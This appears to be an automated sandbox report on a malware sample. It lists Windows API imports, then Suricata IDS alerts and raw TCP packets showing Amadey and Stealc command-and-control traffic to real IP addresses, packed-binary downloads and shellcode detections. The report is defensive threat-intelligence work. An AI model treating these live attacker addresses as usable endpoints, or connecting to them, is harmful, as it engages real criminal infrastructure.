GetStartupInfoW, DecodePointer, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, TerminateProcess, GetCurrentProcess, HeapAlloc, HeapCreate, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, ReadFile, MultiByteToWideChar, ExitProcess, SetFilePointer, WriteFile, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, WideCharToMultiByte, GetConsoleMode, GetCPInfo, GetACP, IsValidCodePage, Sleep, RtlUnwind, SetStdHandle, IsProcessorFeaturePresent, WriteConsoleW, CloseHandle
USER32.dll	SetCaretPos, CharUpperBuffW, GetMessageExtraInfo, GetMenu, DrawStateW, GetSysColorBrush
GDI32.dll	GetCharWidthI, GetCharABCWidthsI
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T10:36:28.945163+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49722	80	192.168.2.6	185.215.113.16
2024-07-26T10:40:15.997410+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49689	80	192.168.2.6	185.215.113.19
2024-07-26T10:45:04.139878+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	54107	80	192.168.2.6	185.215.113.16
2024-07-26T10:40:53.597971+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49794	80	192.168.2.6	185.215.113.19
2024-07-26T10:40:35.969873+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49750	80	192.168.2.6	185.215.113.16
2024-07-26T10:39:33.401016+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59070	80	192.168.2.6	185.215.113.19
2024-07-26T10:43:45.373991+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50201	80	192.168.2.6	185.215.113.19
2024-07-26T10:41:35.531310+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49896	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:14.449386+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:40:41.406472+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49763	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:13.707636+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:38:33.839160+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58917	80	192.168.2.6	185.215.113.16
2024-07-26T10:40:18.545943+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49695	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:06.185006+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:40:51.934379+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49790	80	192.168.2.6	185.215.113.19
2024-07-26T10:43:09.755442+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50120	80	192.168.2.6	185.215.113.16
2024-07-26T10:43:11.478970+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50124	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:16.604259+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:37:09.228419+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49761	80	192.168.2.6	185.215.113.16
2024-07-26T10:39:22.451400+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59042	80	192.168.2.6	185.215.113.16
2024-07-26T10:42:18.976096+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49994	80	192.168.2.6	185.215.113.16
2024-07-26T10:37:06.465314+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49756	185.215.113.16	192.168.2.6
2024-07-26T10:45:09.280180+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	54120	80	192.168.2.6	185.215.113.16
2024-07-26T10:40:49.858025+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49785	80	192.168.2.6	185.215.113.16
2024-07-26T10:42:08.724565+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49971	80	192.168.2.6	185.215.113.16
2024-07-26T10:44:37.882115+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	54048	80	192.168.2.6	185.215.113.19
2024-07-26T10:42:01.263565+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49958	80	192.168.2.6	185.215.113.19
2024-07-26T10:45:06.502607+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	54112	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:21.092573+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49714	40.68.123.157	192.168.2.6
2024-07-26T10:39:49.647476+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49620	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:18.867169+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49713	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:07.768923+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:37:24.123508+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49814	80	192.168.2.6	85.28.47.31
2024-07-26T10:39:48.220327+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49617	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:39.620139+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49731	80	192.168.2.6	185.215.113.16
2024-07-26T10:37:39.657525+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49896	80	192.168.2.6	85.28.47.31
2024-07-26T10:43:52.822165+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50218	80	192.168.2.6	185.215.113.19
2024-07-26T10:39:23.194539+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59043	80	192.168.2.6	185.215.113.19
2024-07-26T10:37:11.921778+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49765	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:12.420334+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:38:58.038556+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58980	80	192.168.2.6	185.215.113.19
2024-07-26T10:38:50.302535+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58962	80	192.168.2.6	185.215.113.16
2024-07-26T10:39:06.532191+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58999	80	192.168.2.6	185.215.113.19
2024-07-26T10:41:42.436207+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49911	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:08.298123+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:44:19.026889+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50281	80	192.168.2.6	185.215.113.16
2024-07-26T10:44:08.929600+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50258	80	192.168.2.6	185.215.113.19
2024-07-26T10:40:05.993986+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49660	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:13.708114+0200	TCP	2002725	ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:36:14.220781+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:39:29.876814+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59060	80	192.168.2.6	185.215.113.19
2024-07-26T10:41:55.145993+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49942	80	192.168.2.6	185.215.113.19
2024-07-26T10:39:56.763657+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49638	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:15.778574+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:40:56.965445+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49803	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:06.383011+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:37:06.127352+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49756	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:06.191587+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:36:07.830485+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:36:21.193915+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49713	80	192.168.2.6	185.215.113.16
2024-07-26T10:37:26.912948+0200	TCP	2012510	ET SHELLCODE UTF-8/16 Encoded Shellcode	443	49831	142.250.185.227	192.168.2.6
2024-07-26T10:45:07.641512+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	54115	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:13.939244+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:40:11.543778+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49679	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:08.520845+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:40:39.667818+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49759	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:07.922244+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:36:59.002265+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49749	40.68.123.157	192.168.2.6
2024-07-26T10:41:36.709634+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49898	80	192.168.2.6	185.215.113.19
2024-07-26T10:40:44.865322+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49773	80	192.168.2.6	185.215.113.19
2024-07-26T10:41:25.207366+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49871	80	192.168.2.6	185.215.113.19
2024-07-26T10:38:25.332987+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58896	80	192.168.2.6	185.215.113.16
2024-07-26T10:37:07.352326+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49754	185.215.113.19	192.168.2.6
2024-07-26T10:45:20.222876+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	53410	80	192.168.2.6	185.215.113.19
2024-07-26T10:40:25.515140+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49722	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:31.409132+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49725	80	192.168.2.6	185.215.113.16
2024-07-26T10:39:24.860339+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59048	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:13.525527+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:39:59.226306+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49643	80	192.168.2.6	185.215.113.16
2024-07-26T10:38:21.880823+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58887	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:07.250135+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:36:05.998598+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:44:19.028368+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50282	80	192.168.2.6	185.215.113.19
2024-07-26T10:40:00.895026+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49648	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:06.373775+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:36:13.319043+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:37:08.133295+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49759	80	192.168.2.6	185.215.113.19
2024-07-26T10:39:31.653267+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	59066	80	192.168.2.6	185.215.113.19
2024-07-26T10:41:48.444565+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49926	80	192.168.2.6	185.215.113.19
2024-07-26T10:36:07.916878+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:40:13.431081+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49683	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:16.213875+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49710	80	192.168.2.6	85.28.47.31
2024-07-26T10:36:08.015099+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6
2024-07-26T10:43:33.092496+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50172	80	192.168.2.6	185.215.113.19
2024-07-26T10:43:13.629699+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	50129	80	192.168.2.6	185.215.113.19
2024-07-26T10:39:00.757431+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	58986	80	192.168.2.6	185.215.113.16
2024-07-26T10:37:09.590562+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49762	80	192.168.2.6	85.28.47.31
2024-07-26T10:40:48.192873+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49781	80	192.168.2.6	185.215.113.16
2024-07-26T10:36:07.921580+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49710	85.28.47.31	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 10:35:59.615211010 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:35:59.615211964 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:35:59.927774906 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:05.052587986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:05.058686018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:05.058763981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:05.059312105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:05.064373016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:05.092457056 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:05.092478991 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:05.092605114 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:05.093179941 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:05.093195915 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:05.772593975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:05.772789955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:05.776385069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:05.781461000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:05.998522997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:05.998598099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.000078917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.004920006 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.004949093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.004995108 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.010910034 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.010915995 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.011346102 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.013192892 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.013297081 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.013300896 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.013444901 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.060506105 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.184900045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.185005903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.185254097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.185389996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.186470032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.186755896 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.187067032 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.187163115 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.188251019 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.188251972 CEST	49711	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:06.188266993 CEST	443	49711	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:06.191586971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.373652935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.373775005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.374176979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.374192953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.374366045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.374366045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.375725985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.375747919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.375809908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.376626968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.376688957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.378185987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.383011103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.562747955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.562886000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.654150963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.654150963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:06.659466028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.659487963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.659501076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.659527063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.659542084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:06.659554005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.249979973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.250134945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.549429893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.554508924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.768696070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.768713951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.768728971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.768838882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.768852949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.768923044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.768923044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.769037008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.769237041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.769253016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.769270897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.769434929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.769434929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.769762039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.769778013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.769833088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.769941092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.770128012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.770349026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.770545006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.770628929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.830157995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.830271006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.830287933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.830344915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.830344915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.830485106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.830499887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.830571890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.830605030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.833013058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.833029032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.833043098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.833059072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.833076954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.833093882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.833144903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.873049974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873068094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873081923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873095989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873112917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873133898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.873207092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.873743057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873759031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873773098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873786926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873801947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.873802900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.873851061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.873908043 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.874413967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.874428988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.874443054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.874458075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.874473095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.874500990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.874500990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.874561071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.875061035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.875202894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.916613102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916680098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916696072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916739941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.916740894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916759968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916781902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.916842937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.916877985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916894913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916909933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916924953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.916966915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.916991949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.921447039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.921469927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.921559095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.921580076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.921634912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:07.921957016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.921974897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:07.921988964 CEST	80	49710	85.28.47.31	192.168.2.6
